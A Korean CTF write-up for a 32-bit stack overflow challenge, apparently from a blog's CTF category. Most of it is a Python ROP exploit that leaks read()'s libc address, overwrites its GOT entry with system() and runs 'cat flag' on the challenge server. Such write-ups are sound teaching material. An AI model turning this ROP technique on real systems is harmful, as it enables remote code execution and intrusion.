문제는 되게 단순하다.
IDA를 통해 소스를 보면 친절하게도 함수 이름을 vulnerable로 해놓은 것을 볼 수 있다.
read() 함수를 통해 할당된 버퍼의 크기보다 더 많이 읽어들여 오버플로우 취약점이 존재하는 것을 알 수 있다.
ROP로 문제를 풀면 된다.
lib.so.6 파일도 제공해주기 때문에 쉽게 문제를 풀 수 있다.
[ Exploit Code ]
from socket import *
from struct import *
from time import *
p = lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)[0]
s = socket(AF_INET, SOCK_STREAM)
s.connect(('138.201.98.45', 4000))
read_plt = 0x8048360
read_got = 0x804a000
write_plt = 0x80483a0
offset = 0x9d8e0
bss = 0x804a020
pppr = 0x804855d
cmd = "cat flag>&1\00"
payload = ''
payload += "A"*136
payload += "B"*4
# bss
payload += p(read_plt)
payload += p(pppr)
payload += p(0)
payload += p(bss)
payload += p(len(cmd))
# leak read_addr
payload += p(write_plt)
payload += p(pppr)
payload += p(1)
payload += p(read_got)
payload += p(4)
# read -> system
payload += p(read_plt)
payload += p(pppr)
payload += p(0)
payload += p(read_got)
payload += p(4)
# system
payload += p(read_plt)
payload += "AAAA"
payload += p(bss)
print "[*] payload = %d" % len(payload)
print "[*] send payload..."
s.send(payload)
s.send(cmd)
read_addr = up(s.recv(4))
system_addr = read_addr - offset
print "[*] read_addr = 0x%x" % read_addr
print "[*] system_addr = 0x%x" % system_addr
s.send(p(system_addr))
print s.recv(4096)
'CTF > etc.' 카테고리의 다른 글
[Plaid CTF 2015] EBP (0) | 2018.04.19 |
---|---|
[TJCTF 2016] oneshot (0) | 2018.02.13 |
[Defcon 26 quals 2016] feedme (0) | 2017.11.19 |
[Defcon 25 quals 2015] r0pbaby (0) | 2016.11.10 |
[Plaid CTF 2013] ropasaurusrex (0) | 2016.10.21 |